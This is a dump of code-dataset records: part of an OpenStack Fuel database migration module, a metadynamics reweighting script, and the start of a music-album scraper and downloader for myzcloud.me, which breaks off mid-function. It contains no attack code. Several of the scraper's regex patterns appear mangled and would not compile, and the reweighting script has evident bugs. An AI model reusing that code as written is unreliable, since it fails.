\"fuelweb\" word\n repo_path = 'http://{MASTER_IP}:8080/{OS}/fuelweb/x86_64'.format(\n MASTER_IP=settings.MASTER_IP, OS=release[1].lower())\n\n # for ubuntu we need to add 'trusty main'\n if release[1].lower() == 'ubuntu':\n repo_path += ' trusty main'\n\n connection.execute(\n insert_query,\n release_id=release[0],\n repo_metadata=(\n '{{ \"nailgun\": \"{0}\" }}'.format(repo_path)),\n puppet_manifests_source=(\n 'rsync://{MASTER_IP}:/puppet/manifests/'.format(\n MASTER_IP=settings.MASTER_IP)),\n puppet_modules_source=(\n 'rsync://{MASTER_IP}:/puppet/modules/'.format(\n MASTER_IP=settings.MASTER_IP)),\n )\n\n\ndef move_orchestrator_data_to_attributes(connection):\n \"\"\"Moving data from orchestrator data db table to cluster attributes\n\n :param connection: a database connection\n \"\"\"\n\n select_query = text(\n \"SELECT \"\n \"id, \"\n \"release_id, \"\n \"repo_metadata, \"\n \"puppet_manifests_source, \"\n \"puppet_modules_source \"\n \"FROM release_orchestrator_data\")\n\n for odata in connection.execute(select_query):\n select_query = text(\n \"SELECT id, attributes_metadata, operating_system \"\n \" FROM releases WHERE id = :release_id\")\n\n for release in connection.execute(select_query, release_id=odata[1]):\n repo_setup = {\n 'metadata': {\n # old releases shouldn't be able to edit\n # repos\n 'restrictions': [{\n 'condition': 'true',\n 'action': 'hide',\n }],\n 'label': 'Repositories',\n 'weight': 50,\n },\n 'repos': {\n 'type': 'custom_repo_configuration',\n 'value': [],\n }}\n\n puppet = {\n 'manifests': odata[3],\n 'modules': odata[4],\n }\n\n if release[2].lower() == 'ubuntu':\n for name, repo in six.iteritems(jsonutils.loads(odata[2])):\n uri, suite, section = repo.split()\n repo_setup['repos']['value'].append({\n 'type': 'deb',\n 'name': name,\n 'uri': uri,\n 'suite': suite,\n 'section': section,\n 'priority': 1001\n })\n elif release[2].lower() == 'centos':\n for name, repo in six.iteritems(jsonutils.loads(odata[2])):\n repo_setup['repos']['value'].append({\n 'type': 'rpm',\n 'name': name,\n 'uri': repo,\n 'priority': 1\n })\n\n # update releases\n attributes_metadata = jsonutils.loads(release[1])\n attributes_metadata['editable'].update({'repo_setup': repo_setup})\n attributes_metadata['generated'].update({'puppet': puppet})\n\n update_query = text(\n \"UPDATE releases \"\n \" SET attributes_metadata = :attributes_metadata \"\n \" WHERE id = :release_id\")\n connection.execute(\n update_query,\n attributes_metadata=jsonutils.dumps(attributes_metadata),\n release_id=odata[1])\n\n # update cluster attributes\n select_query = text(\n \"SELECT a.id, a.editable, a.generated \"\n \" FROM attributes as a INNER JOIN clusters as c \"\n \" ON a.cluster_id = c.id \"\n \" WHERE c.release_id = :release_id\")\n\n for attr in connection.execute(select_query, release_id=odata[1]):\n editable = jsonutils.loads(attr[1])\n generated = jsonutils.loads(attr[2])\n\n editable.update({'repo_setup': repo_setup})\n generated.update({'puppet': puppet})\n\n connection.execute(\n text(\n \"UPDATE attributes \"\n \" SET editable = :editable, generated = :generated \"\n \" WHERE id = :attr_id\"),\n editable=jsonutils.dumps(editable),\n generated=jsonutils.dumps(generated),\n attr_id=attr[0])\n\n\ndef upgrade_attributes_metadata_6_0_to_6_1(attributes_meta):\n attributes_meta['editable']['storage']['volumes_lvm']['description'] = \\\n 'It is recommended to have at least one Storage - Cinder LVM node.'\n attributes_meta['editable']['common']['use_vcenter'] = {\n \"value\": False,\n \"weight\": 30,\n \"type\": \"hidden\"\n }\n\n return attributes_meta\n\n\ndef upgrade_master_node_settings_6_0_to_6_1(master_node_settings):\n master_node_settings['statistics']['name']['type'] = 'hidden'\n master_node_settings['statistics']['email']['type'] = 'hidden'\n master_node_settings['statistics']['company']['type'] = 'hidden'\n master_node_settings['tracking'] = {\n \"email\": {\n \"type\": \"text\",\n \"value\": \"\",\n \"label\": \"Mirantis Account Email\",\n \"weight\": 10,\n \"regex\": {\n \"source\": \"^\\\\S+@\\\\S+\\.\\\\S+$\",\n \"error\": \"Invalid email\"\n }\n },\n \"password\": {\n \"type\": \"password\",\n \"value\": \"\",\n \"label\": \"Password\",\n \"weight\": 20,\n \"regex\": {\n \"source\": \"\\\\S\",\n \"error\": \"Password cannot be empty\"\n }\n }\n }\n master_node_settings['statistics']['name']['regex'] = {}\n master_node_settings['statistics']['email']['regex'] = {}\n master_node_settings['statistics']['company']['regex'] = {}\n master_node_settings['statistics']['name']['restrictions'] = {}\n master_node_settings['statistics']['email']['restrictions'] = {}\n master_node_settings['statistics']['company']['restrictions'] = {}\n\n return master_node_settings\n\n\ndef upgrade_role_limits_6_0_to_6_1(roles_meta, _limits_to_update):\n for role_name, role_definition in six.iteritems(roles_meta):\n if role_name in _limits_to_update:\n role_definition['limits'] = _limits_to_update[role_name]\n\n return roles_meta\n\n\ndef upgrade_role_restrictions_6_0_to_6_1(roles_meta, _new_role_restrictions):\n for role_name, role_definition in six.iteritems(roles_meta):\n if role_name in _new_role_restrictions:\n role_definition['restrictions'] = _new_role_restrictions[role_name]\n\n return roles_meta\n\n\ndef upgrade_vip_types_6_0_to_6_1(connection):\n update_query_node_null = text(\n \"UPDATE ip_addrs SET vip_type = :haproxy WHERE node IS NULL\")\n\n connection.execute(update_query_node_null,\n haproxy=consts.NETWORK_VIP_TYPES.haproxy)\n\n\ndef downgrade_vip_types_6_1_to_6_0(connection):\n delete_query = text(\n \"DELETE FROM ip_addrs WHERE vip_type != :haproxy AND node IS NULL\")\n connection.execute(delete_query, haproxy=consts.NETWORK_VIP_TYPES.haproxy)\n\n\ndef upgrade_6_0_to_6_1_plugins_cluster_attrs_use_ids_mapping(connection):\n \"\"\"Convert plugin version mapping to plugin ids\n\n In Fuel 6.0 we had plugin version in cluster attributes\n to identify which plugin should be enabled or disabled.\n In 6.1 release we have plugins updates feature, it means\n that a single plugin can be updated/overwritten with newer\n version. For example 1.0.0 can be replaced with 1.0.1.\n As result we cannot rely on versions anymore, here we\n convert version mapping to plugin ids.\n\n See blueprint:\n https://blueprints.launchpad.net/fuel/+spec/plugins-security-fixes-delivery\n \"\"\"\n select_attrs = text(\"\"\"SELECT id, editable FROM attributes\"\"\")\n\n select_plugins = text(\n \"\"\"SELECT id FROM plugins\n WHERE name = :plugin_name AND\n version = :plugin_version\"\"\")\n\n update_attrs = text(\n \"\"\"UPDATE attributes\n SET editable = :editable\n WHERE id = :id\"\"\")\n\n attrs_list = connection.execute(select_attrs)\n for raw_attrs in attrs_list:\n attr_id = raw_attrs[0]\n attrs = jsonutils.loads(raw_attrs[1])\n\n for key, attr in six.iteritems(attrs):\n metadata = attr.get('metadata', {})\n plugin_version = metadata.get('plugin_version')\n if not plugin_version:\n continue\n\n plugin_name = key\n\n # If there is no plugin with such version\n # and name, it means that something was wrong\n # and somebody deleted the plugin from database\n # we must not fail migration in this case\n plugin_id = None\n\n plugins = list(connection.execute(\n select_plugins,\n plugin_name=plugin_name,\n plugin_version=plugin_version))\n\n if plugins:\n plugin_id = plugins[0][0]\n\n del attr['metadata']['plugin_version']\n attr['metadata']['plugin_id'] = plugin_id\n\n connection.execute(\n update_attrs,\n editable=jsonutils.dumps(attrs),\n id=attr_id)\n\n\ndef upgrade_networks_metadata_to_6_1(networks_meta, _bonding_metadata):\n networks_meta['bonding'] = _bonding_metadata\n\n nets = [k for k, v in six.iteritems(networks_meta) if v.get('networks')]\n for network in chain(*[networks_meta[net]['networks'] for net in nets]):\n network = create_default_vips(network)\n\n return networks_meta\n\n\ndef upgrade_network_groups_metadata_6_0_to_6_1(connection):\n select_query = text(\"SELECT id, meta FROM network_groups\")\n update_query = text(\"UPDATE network_groups SET meta = :meta \"\n \"WHERE id = :id\")\n\n net_groups = connection.execute(select_query)\n\n for ng_id, ng_meta in net_groups:\n updated_meta = create_default_vips(jsonutils.loads(ng_meta))\n connection.execute(\n update_query,\n id=ng_id,\n meta=jsonutils.dumps(updated_meta)\n )\n\n\ndef create_default_vips(network):\n if \"assign_vip\" in network:\n if network[\"assign_vip\"]:\n network[\"vips\"] = [consts.NETWORK_VIP_TYPES.haproxy]\n\n del network[\"assign_vip\"]\n\n return network\n\n\ndef upgrade_ubuntu_cobbler_profile_6_0_to_6_1(connection):\n select_query = text(\"SELECT id, generated FROM attributes\")\n update_query = text(\n \"UPDATE attributes SET generated = :generated WHERE id = :attr_id\")\n for attr_id, generated in connection.execute(select_query):\n attrs = jsonutils.loads(generated)\n if attrs['cobbler']['profile'] == 'ubuntu_1204_x86_64':\n attrs['cobbler']['profile'] = 'ubuntu_1404_x86_64'\n connection.execute(\n update_query,\n generated=jsonutils.dumps(attrs),\n attr_id=attr_id)\n\n select_query = text(\"SELECT id, attributes_metadata FROM releases\")\n update_query = text(\n \"UPDATE releases SET attributes_metadata = :attrs_meta\"\n \" WHERE id = :release_id\")\n for release_id, attributes_metadata in connection.execute(select_query):\n attrs = jsonutils.loads(attributes_metadata)\n if attrs['generated']['cobbler']['profile']['generator_arg'] == \\\n 'ubuntu_1204_x86_64':\n attrs['generated']['cobbler']['profile']['generator_arg'] = \\\n 'ubuntu_1404_x86_64'\n connection.execute(\n update_query,\n attrs_meta=jsonutils.dumps(attrs),\n release_id=release_id)\n\n\ndef upgrade_cluster_attributes_6_0_to_6_1(connection):\n select_query = text(\"\"\"SELECT id, editable FROM attributes\"\"\")\n update_query = text(\n \"\"\"UPDATE attributes SET editable = :editable WHERE id = :attr_id\"\"\")\n\n for attr_id, editable in connection.execute(select_query):\n attributes = jsonutils.loads(editable)\n attributes['common']['use_vcenter'] = {\n \"value\": False,\n \"weight\": 30,\n \"type\": \"hidden\"\n }\n\n connection.execute(\n update_query,\n editable=jsonutils.dumps(attributes),\n attr_id=attr_id)\n","sub_path":"nailgun/nailgun/utils/migration.py","file_name":"migration.py","file_ext":"py","file_size_in_byte":21484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"91723694","text":"#!/usr/bin/env python\n\"\"\"This reweighting code is based on the algorithm proposed by Tiwary\nand Parrinello, JPCB 2014, 119 (3), 736-742. This is a modified version\nof te reweighting code based on earlier version (v1.0 - 23/04/2015) \navailable in GitHub which was originally written by L. Sutto and \nF.L. Gervasio, UCL.\n\nCo-Author: Debabrata Pramanik pramanik@umd.edu\nCo-Author: Zachary Smith zsmith7@terpmail.umd.edu \"\"\"\n\nimport os.path\nimport argparse\nimport numpy as np\nfrom math import log, exp, ceil\n\n\n\n# Default Arguments\ngamma = 15 # Biasfactor in well-tempered metadynamics.\nkT = 2.5 # Temperature times Boltzmann constant.\nfesfilename = \"fes_\" # FES file name start.\nnumdat = 20 # Number of FES files.\ncol_fe = 1 # Column of free energy.\ndatafile = \"COLVAR_short5\" # COLVAR file name.\ncol_rewt = [2,3,5,6] # COLVAR columns corresponding to RC variables.\nnumrewt = 1 # Number of reweighting iterations.\ncol_bias = [7] # COLVAR bias column.\nngrid = 50 # Number of grid bins.\n\n\n\ndef load():\n # Loads given files. Runs on import to prevent redundant loading.\n global colvar,ebetac\n # File Inputs\n colvar = np.loadtxt(datafile)\n\n # Calculating c(t):\n # calculates ebetac = exp(beta c(t)), using eq. 12 in eq. 3 in the JPCB paper\n #\n ebetac = []\n\n for i in range(numdat):\n # set appropriate format for FES file names, NB: i starts from 0\n fname = '%s%d.dat' % (fesfilename,i)\n\n data = np.loadtxt(fname)\n s1, s2 = 0., 0.\n for p in data:\n exponent = -p[col_fe]/kT\n s1 += exp(exponent)\n s2 += exp(exponent/gamma)\n ebetac += s1 / s2,\n\n\n\nload()\n\n\n\ndef parse():\n # Used for import when running on the command line.\n d = \"\"\"\n It is a reweighting code to reweight some RC which is linear combination of a set\n of order parameters which have the effect of biasing while the metadynamics run\n were performed along some CV. Here, RC=c1*a1+c2*a2+c3*a3+... (where RC is the \n reaction coordinate to be reweighted, c1, c2,... are the coefficients, a1, a2,\n ... are the order parameters)\n \"\"\"\n parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=d, epilog=\" \")\n\n parser.add_argument(\"-bsf\", type=float, default=15.0, help=\"biasfactor for the well-tempered metadynamics\")\n parser.add_argument(\"-kT\", type=float, default=2.5, help=\"kT energy value in kJ/mol\")\n parser.add_argument(\"-fpref\", default=\"fes\", help=\"free energy filenames from sum hills (default: %(default)s)\")\n\n parser.add_argument(\"-nf\", type=int, default=100, help=\"number of FES input files (default: %(default)s)\")\n parser.add_argument(\"-fcol\", type=int, default=2, help=\"free energy column in the FES input files (first column = 1) (default: %(default)s)\")\n\n parser.add_argument(\"-colvar\", default=\"COLVAR\", help=\"filename containing original CVs, reweighting CVs and metadynamics bias\")\n parser.add_argument(\"-rewcol\", type=int, nargs='+', default=[ 2 ], help=\"column(s) in colvar file containing the CV to be reweighted (first column = 1) (default: %(default)s)\")\n #parser.add_argument(\"-coef\", type=float, nargs='+', default=[ 1 ], help=\"coefficients for each order parameters\")\n\n parser.add_argument(\"-biascol\", type=int, nargs='+', default=[ 4 ], help=\"column(s) in colvar file containing any energy bias (metadynamic bias, walls, external potentials..) (first column = 1) (default: %(default)s)\")\n\n parser.add_argument(\"-min\", type=float, nargs='+', help=\"minimum values of the CV\")\n parser.add_argument(\"-max\", type=float, nargs='+', help=\"maximum values of the CV\")\n parser.add_argument(\"-bin\", type=int, default=50, help=\"number of bins for the reweighted FES (default: %(default)s)\")\n\n #parser.add_argument(\"-outfile\", default=\"fes_rew\", help=\"output FES filename (default: %(default)s)\")\n\n parser.print_help()\n return parser.parse_args\n\n\n\ndef reweight(rc,commandline=False,sparse=False):\n # Reweighting biased MD trajectory to unbiased probabilty along a given RC.\n # By default (sparse=False) bins on the edge of the range with probabilities lower\n # than 1/N where N is number of data points will be removed.\n global gamma, kT, fesfilename, numdat, col_fe, datafile, col_rewt, numrewt, col_bias, ngrid, s_min, s_max\n #### INPUTS\n if commandline:\n args = parser.parse_args()\n gamma = args.bsf\n kT = args.kT\n fesfilename = args.fpref\n numdat = args.nf\n col_fe = args.fcol - 1\n datafile = args.colvar\n col_rewt = [ i-1 for i in args.rewcol ]\n numrewt = 1\n col_bias = [ i-1 for i in args.biascol ] \n minz = args.min\n s_min = np.min(minz)\n s_min = np.reshape(s_min,newshape=(s_min.size,1))\n maxz = args.max\n s_max = np.max(maxz)\n s_max = np.reshape(s_max,newshape=(s_max.size,1))\n ngrid = args.bin\n\n\n\n #\n #Boltzmann-like sampling for reweighting\n #\n\n coeff = rc\n rc_space = np.dot(colvar[:,col_rewt],coeff)\n s_max = np.max(rc_space)\n s_min = np.min(rc_space)\n\n # build the new square grid for the reweighted FES\n s_grid = [[ ]] * numrewt\n\n #print(s_grid, numrewt)\n #print(s_max, s_min, ngrid)\n\n ds = (s_max - s_min)/(ngrid-1)\n s_grid = [ s_min + n*ds for n in range(ngrid) ]\n #print(s_max, s_min, ds)\n \n \n \n numcolv = np.shape(colvar)[0]\n\n # initialize square array numrewt-dimensional\n fes = np.zeros( [ ngrid ] * numrewt)\n\n # go through the CV(t) trajectory\n denom = 0.\n i = 0\n for row in colvar:\n i += 1\n\n # build the array of grid indeces locs corresponding to the point closest to current point\n locs = [[ ]] * numrewt\n for j in range(numrewt):\n col = col_rewt[j]\n #depending on the number of order parameters to be linearly added to get the RC to be reweighted, \n #number of row[col]*q[0] terms will be added to the val below. \n #val = (row[col]*q[0] + row[col+1]*q[1] + row[col+2]*q[2] + row[col+3]*q[3] + row[col+4]*q[4])/5\n val = np.dot(row[col_rewt],coeff) \n #val = row[col]*0 + row[col+1]*1\n locs[j] = int((val-s_min)/ds) # find position of minimum in diff array\n\n #find closest c(t) for this point of time\n indx = int(ceil(float(i)/numcolv*numdat))-1\n bias = sum([row[j] for j in col_bias])\n ebias = exp(bias/kT)/ebetac[indx]\n fes[locs] += ebias\n denom += ebias\n\n # ignore warnings about log(0) and /0\n np.seterr(all='ignore')\n fes /= denom\n fes = -kT*np.log(fes)\n\n # set FES minimum to 0\n fes -= np.min(fes)\n z = np.sum(np.exp(-fes/kT))\n pavg = (np.exp(-fes/kT))/z\n total = np.sum(pavg)\n pnorm = pavg/total\n\n if commandline:\n #with open(out_fes_xy, 'w') as f: \n with open(\"prob_rew.dat\", 'w') as f:\n for nx,x in enumerate(s_grid):\n f.write('%20.12f %20.12f\\n' % (x,pnorm[nx]))\n f.close()\n \n # Trimming off probability values less than one data point could provide\n if not sparse:\n cutoff = 1/np.shape(colvar)[0]\n trim = np.nonzero(pnorm >= cutoff)\n trimmed = pnorm[np.min(trim):np.max(trim)+1]\n if np.min(trimmed) < cutoff:\n cutoff = np.min(trimmed)\n trim = np.nonzero(pnorm >= cutoff)\n trimmed = pnorm[np.min(trim):np.max(trim)+1]\n return trimmed\n return pnorm\n\n\n\ndef rebias(rc,old_rc,old_p,commandline=False,sparse=False):\n # Reweighting biased MD trajectory to a probability along a RC with SGOOP-bias along a second RC.\n # By default (sparse=False) bins on the edge of the range with probabilities lower\n # than 1/N where N is number of data points will be removed.\n global gamma, kT, fesfilename, numdat, col_fe, datafile, col_rewt, numrewt, col_bias, ngrid, s_min, s_max\n #### INPUTS\n if commandline:\n args = parser.parse_args()\n gamma = args.bsf\n kT = args.kT\n fesfilename = args.fpref\n numdat = args.nf\n col_fe = args.fcol - 1\n datafile = args.colvar\n col_rewt = [ i-1 for i in args.rewcol ]\n numrewt = 1\n col_bias = [ i-1 for i in args.biascol ] \n minz = args.min\n s_min = np.min(minz)\n s_min = np.reshape(s_min,newshape=(s_min.size,1))\n maxz = args.max\n s_max = np.max(maxz)\n s_max = np.reshape(s_max,newshape=(s_max.size,1))\n ngrid = args.bin\n\n\n\n #\n #Boltzmann-like sampling for reweighting\n #\n\n coeff = rc\n rc_space = np.dot(colvar[:,col_rewt],coeff)\n bias_space = np.dot(colvar[:,col_rewt],old_rc)\n \n s_max = np.max(rc_space)\n s_min = np.min(rc_space)\n \n \n b_max = np.max(bias_space)\n b_min = np.min(bias_space)\n \n # build the new square grid for the reweighted FES\n s_grid = [[ ]] * numrewt\n\n #print(s_grid, numrewt)\n #print(s_max, s_min, ngrid)\n\n ds = (s_max - s_min)/(ngrid-1)\n db = (b_max - b_min)/(ngrid-1)\n s_grid = [ s_min + n*ds for n in range(ngrid) ]\n #print(s_max, s_min, ds)\n \n \n \n numcolv = np.shape(colvar)[0]\n\n # initialize square array numrewt-dimensional\n fes = np.zeros( [ ngrid ] * numrewt)\n\n # go through the CV(t) trajectory\n denom = 0.\n i = 0\n for row in colvar:\n i += 1\n\n # build the array of grid indeces locs corresponding to the point closest to current point\n locs = [[ ]] * numrewt\n blocs = [[ ]] * numrewt\n for j in range(numrewt):\n col = col_rewt[j]\n #depending on the number of order parameters to be linearly added to get the RC to be reweighted, \n #number of row[col]*q[0] terms will be added to the val below. \n #val = (row[col]*q[0] + row[col+1]*q[1] + row[col+2]*q[2] + row[col+3]*q[3] + row[col+4]*q[4])/5\n val = np.dot(row[col_rewt],coeff) \n bval = np.dot(row[col_rewt],old_rc)\n locs[j] = int((val-s_min)/ds) # find position of minimum in diff array\n blocs[j] = int((bval-b_min)/db)\n\n #find closest c(t) for this point of time\n indx = int(ceil(float(i)/numcolv*numdat))-1\n bias = sum([row[j] for j in col_bias])\n ebias = exp(bias/kT)/(ebetac[indx]*old_p[blocs])\n fes[locs] += ebias\n denom += ebias\n\n # ignore warnings about log(0) and /0\n np.seterr(all='ignore')\n fes /= denom\n fes = -kT*np.log(fes)\n\n # set FES minimum to 0\n fes -= np.min(fes)\n z = np.sum(np.exp(-fes/kT))\n pavg = (np.exp(-fes/kT))/z\n total = np.sum(pavg)\n pnorm = pavg/total\n\n if commandline:\n #with open(out_fes_xy, 'w') as f: \n with open(\"prob_rew.dat\", 'w') as f:\n for nx,x in enumerate(s_grid):\n f.write('%20.12f %20.12f\\n' % (x,pnorm[nx]))\n f.close()\n \n # Trimming off probability values less than one data point could provide\n if not sparse:\n cutoff = 1/np.shape(colvar)[0]\n trim = np.nonzero(pnorm >= cutoff)\n trimmed = pnorm[np.min(trim):np.max(trim)+1]\n if np.min(trimmed) < cutoff:\n cutoff = np.min(trimmed)\n trim = np.nonzero(pnorm >= cutoff)\n trimmed = pnorm[np.min(trim):np.max(trim)+1]\n return trimmed\n return pnorm\n\n\n\ndef reweight2d(d1,d2,data=None):\n # Reweighting biased MD trajectory to a 2D probability.\n global gamma, kT, fesfilename, numdat, col_fe, datafile, col_rewt, numrewt, col_bias, ngrid, s_min, s_max,fes\n if data != None:\n datafile = data\n load()\n numcolv = np.shape(colvar)[0]\n\n # initialize square array numrewt-dimensional\n fes = np.zeros(numcolv)\n\n # go through the CV(t) trajectory\n denom = 0.\n i = 0\n for row in colvar:\n i += 1\n\n # build the array of grid indeces locs corresponding to the point closest to current point\n locs = [[ ]] * numrewt\n for j in range(numrewt):\n col = col_rewt[j]\n indx = int(ceil(float(i)/numcolv*numdat))-1\n bias = sum([row[j] for j in col_bias])\n ebias = exp(bias/kT)/ebetac[indx]\n fes[i-1] = ebias\n denom += ebias\n\n hist = np.histogram2d(colvar[:,d1],colvar[:,d2],100,weights=fes)\n hist = hist[0]\n pnorm = hist/np.sum(hist)\n return pnorm\n\n","sub_path":"reweight.py","file_name":"reweight.py","file_ext":"py","file_size_in_byte":12506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"569238965","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*- \n\n# This work is free. You can redistribute it and/or modify it under the\n# terms of the Do What The Fuck You Want To Public License, Version 2,\n# as published by Sam Hocevar. See the COPYING file for more details.\n\n# requires installation of the following additional modules: PySocks and Beautifulsoup4\n\nimport re\nimport sys\nimport os\nimport signal\nimport time\nimport random\nimport socks\nimport socket\nimport urllib.request\nimport html\nimport argparse\nfrom multiprocessing import Pool\nfrom bs4 import BeautifulSoup\n\nversion = 5.3\nuseragent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0\"\ncovers_name = \"cover.jpg\"\n\ndef script_help(version, script_name):\n description = \"Python script to download albums from http://myzcloud.me, version %s.\" % version\n help_string = description + \"\"\"\n\n------------------------------------------------------------------------------------------------------------------\n################## To download an album, give it an url with '/album/' in it #####################################\n------------------------------------------------------------------------------------------------------------------\nuser@computer:/tmp$ %s [-p /path] https://myzcloud.me/album/2431310/carpe-diem-france-circonvolutions-2015\n** We will try to use 3 simultaneous downloads, progress will be shown **\n** after each completed file but not necessarily in album's order. **\n\nArtist: Carpe Diem\nAlbum: Circonvolutions\nYear: 2015\ncover.jpg 00.07 of 00.07 MB [100%%]\n02-naissance.mp3 07.83 of 07.83 MB [100%%]\n01-couleurs.mp3 49.59 of 49.59 MB [100%%]\n[...]\n\nIt will create an \"Artist - Album\" directory in the path given as argument (or else in current\n directory if not given), and download all songs and covers available on that page.\n\n\n------------------------------------------------------------------------------------------------------------------\n################## To download all albums from an artist, give it an url with '/artist/' in it ###################\n------------------------------------------------------------------------------------------------------------------\n\nuser@computer:/tmp$ %s [-p /path] https://myzcloud.me/artist/1105522/carpe-diem-france/albums\n** We will try to use 3 simultaneous downloads, progress will be shown **\n** after each completed file but not necessarily in album's order. **\n** Warning: we are going to download all albums from this artist! **\n\nArtist: Carpe Diem\nAlbum: Cueille Le Jour\nYear: 1976\ncover.jpg 00.07 of 00.07 MB [100%%]\n02-naissance.mp3 07.83 of 07.83 MB [100%%]\n01-couleurs.mp3 49.59 of 49.59 MB [100%%]\n[...]\n\nArtist: Carpe Diem\nAlbum: En Regardant Passer Le Temps\nYear: 1975\ncover.jpg 00.08 of 00.08 MB [100%%]\ncover1.jpg 00.03 of 00.03 MB [100%%]\n01-voyage_du_non-retour.mp3 08.92 of 08.92 MB [100%%]\n02-reincarnation.mp3 29.60 of 29.60 MB [100%%]\n[...]\n\n\nIt will iterate on all albums of this artist.\n\n\n------------------------------------------------------------------------------------------------------------------\n################# Command line help ##############################################################################\n------------------------------------------------------------------------------------------------------------------\n\nFor more info, see https://github.com/damsgithub/myzcloud-me.py\n\n\n\"\"\" % (script_name, script_name)\n return help_string\n\n\ndef to_MB(a_bytes):\n return a_bytes / 1024. / 1024.\n\n\ndef check_os():\n if sys.platform.startswith('win'):\n return \"win\"\n else:\n return \"unix\"\n\n\ndef color_message(msg, color):\n colors = {}\n colors['yellow'] = \"\\033[0;33m\"\n colors['lightyellow'] = \"\\033[1;33m\"\n colors['red'] = \"\\033[0;31m\"\n colors['lightred'] = \"\\033[1;31m\"\n colors['green'] = \"\\033[0;32m\"\n colors['lightgreen'] = \"\\033[1;32m\"\n colors['magenta'] = \"\\033[0;35m\"\n colors['clear'] = \"\\033[0;39m\"\n if (check_os() == \"win\"):\n # Check if color is supported in cmd.exe\n if(sys.getwindowsversion()[0] >= 10 and sys.getwindowsversion()[2] >= 10586):\n os.system('') # enables VT100 Escape Sequence for WINDOWS 10 Ver. 1607\n else:\n print(msg)\n return\n print(colors[color] + msg + colors['clear'])\n\n \ndef spinning_wheel():\n while True:\n for cursor in '|/-\\\\':\n yield cursor\n\n\ndef dl_status(file_name, dlded_size, real_size):\n status = r'%-50s %05.2f of %05.2f MB [%3d%%]' % \\\n (file_name, to_MB(dlded_size), to_MB(real_size), dlded_size * 100. / real_size)\n return status\n\n\ndef download_cover(page_content, url, debug, socks_proxy, socks_port, timeout):\n # download album's cover(s)\n cover_url_re = re.compile('\".+\"(?:')\n cover_url_match = cover_url_re.search(page_content)\n\t\n cover_url = cover_url_match.group(1)\n\t\n if debug: print (\"cover: %s\" % cover_url)\n\t\n if not cover_url:\n color_message(\"** No cover found for this album **\", \"lightyellow\")\n else:\n download_file(cover_url, covers_name, debug, socks_proxy, socks_port, timeout)\n\ndef get_base_url(url, debug):\n # get website base address to preprend it to images, songs and albums relative urls'\n base_url = url.split('//', 1)\n base_url = base_url[0] + '//' + base_url[1].split('/', 1)[0]\n #if debug > 1: print(\"base_url: %s\" % base_url)\n return base_url\n\n\ndef open_url(url, socks_proxy, socks_port, timeout, data, range_header):\n if socks_proxy and socks_port:\n socks.set_default_proxy(socks.SOCKS5, socks_proxy, socks_port)\n socket.socket = socks.socksocket\n\n while True:\n try:\n #print(\"open_url: %s\" % url)\n req = urllib.request.Request(\n url,\n data)\n req.add_header('User-Agent', useragent)\n if range_header: req.add_header('Range', range_header)\n\n u = urllib.request.urlopen(req, timeout=timeout)\n redirect = u.geturl()\n except (urllib.error.HTTPError) as e:\n color_message(\"** Connection problem 1 (%s), reconnecting **\" % e.reason, \"lightyellow\")\n time.sleep(random.randint(2,5))\n continue\n except (socket.timeout, socket.error, ConnectionError) as e:\n color_message(\"** Connection problem 2 (%s), reconnecting **\" % str(e), \"lightyellow\")\n time.sleep(random.randint(2,5))\n continue\n except urllib.error.URLError as e:\n if re.search('timed out', str(e.reason)):\n # on linux \"timed out\" is a socket.timeout exception, \n # on Windows it is an URLError exception....\n color_message(\"** Connection problem 3 (%s), reconnecting **\" % e.reason, \"lightyellow\")\n time.sleep(random.randint(2,5))\n continue\n else:\n color_message(\"** URLError exception (%s), aborting **\" % e.reason, \"lightred\")\n u = None\n except Exception as e:\n color_message(\"** Exception: aborting (%s) with error: %s **\" % (url, str(e)), \"lightred\")\n u = None\n\n return u\n\n\ndef get_page_soup(url, data, debug, socks_proxy, socks_port, timeout):\n page = open_url(url, socks_proxy, socks_port, timeout, data=data, range_header=None)\n if not page:\n return None\n page_soup = BeautifulSoup(page, \"html.parser\", from_encoding=page.info().get_param('charset'))\n #if debug > 1: print(\"page_soup: %s\" % page_soup)\n page.close()\n return page_soup\n\n\ndef prepare_album_dir(page_content, base_path, debug):\n # get album infos from html page content\n artist = \"\"\n title = \"\"\n year = \"\"\n\n album_infos_re = re.compile('(.+?)\\r?\\n?'\n '\\r?\\n?'\n '\\r?\\n?'\n '\\r?\\n?'\n '
  • (.+?)
  • ')\n album_infos = album_infos_re.search(page_content)\n\n print(\"\")\n if not album_infos:\n artist = input(\"Unable to get ARTIST NAME. Please enter here: \")\n title = input(\"Unable to get ALBUM NAME. Please enter here: \")\n else:\n artist = album_infos.group(1)\n title = album_infos.group(2)\n \n print(\"Artist: %s\" % artist)\n print(\"Album: %s\" % title)\n\n # Get the year if it is available\n album_infos_re = re.compile('\\r?\\n?'\n '(.+?) \\r?\\n?'\n '
  • ')\n album_infos = album_infos_re.search(page_content)\n\n if album_infos and album_infos.group(1):\n year = album_infos.group(1)\n print(\"Year: %s\" % year)\n #else:\n # year = input(\"Unable to get ALBUM YEAR. Please enter here (may leave blank): \")\n\n if year:\n album_dir = artist + \" - \" + title + \" (\" + year + \")\"\n else:\n album_dir = artist + \" - \" + title\n\n album_dir = os.path.normpath(base_path + os.sep + sanitize_path(album_dir))\n if debug: print(\"Album's dir: %s\" % (album_dir))\n\n if not os.path.exists(album_dir):\n os.mkdir(album_dir)\n\n return album_dir\n\n\ndef sanitize_path(path):\n chars_to_remove = str.maketrans('/\\\\?*|\":><', ' ')\n return path.translate(chars_to_remove)\n\n\ndef download_file(url, file_name, debug, socks_proxy, socks_port, timeout):\n process_id = os.getpid()\n try:\n real_size = -1\n partial_dl = 0\n dlded_size = 0\n \n if os.path.exists(file_name):\n dlded_size = os.path.getsize(file_name)\n if (dlded_size <= 8192):\n # we may have downloaded an \"Exceed the download limit\" (Превышение лимита скачивания) page \n # instead of the song, restart at beginning.\n dlded_size = 0\n\n u = open_url(url, socks_proxy, socks_port, timeout, data=None, range_header=None)\n #print(\"url: %s\" % url)\n if not u:\n return -1\n\n i = 0\n while (i < 5):\n try:\n real_size = int(u.info()['content-length'])\n if real_size <= 1024:\n # we got served an \"Exceed the download limit\" (Превышение лимита скачивания) page, \n # retry without incrementing counter (for musicmp3spb)\n color_message(\"** File size too small (<1024), might be an error, please verify 